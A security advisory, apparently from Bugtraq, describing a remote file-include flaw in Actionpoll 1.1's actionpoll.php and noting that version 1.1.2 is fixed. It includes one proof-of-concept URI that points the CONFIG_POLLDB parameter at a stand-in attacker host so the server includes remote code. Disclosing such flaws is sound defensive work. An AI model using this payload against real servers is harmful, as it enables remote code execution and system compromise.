Actionpoll Actionpoll.PHP Remote File Include Vulnerability

Bugtraq ID:	23504
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Apr 16 2007 12:00AM
Updated:	Apr 16 2007 10:11PM
Credit:	SekoMirza is credited with the discovery of this vulnerability.
Vulnerable:	Actionpoll Actionpoll 1.1
Not Vulnerable:	Actionpoll Actionpoll 1.1.2

Actionpoll Actionpoll.PHP Remote File Include Vulnerability

Actionpoll is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied input.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible.

This issue affects Actionpoll 1.1.0; other versions may also be vulnerable.

Actionpoll Actionpoll.PHP Remote File Include Vulnerability

Attackers can use a browser to exploit these issues.

The following proof-of-concept URI is available:

http://www.example.com/[script path]/actionpoll.php?CONFIG_POLLDB=http://evil_scripts?

Actionpoll Actionpoll.PHP Remote File Include Vulnerability

Solution:
Actionpoll 1.1.2 is not vulnerable to this issue.

Actionpoll Actionpoll.PHP Remote File Include Vulnerability

References:

• Actionpoll Homepage (Actionpoll)
  
• ActionPoll Script (actionpoll.php) Remote File Include // starhack.org (SekoMirza)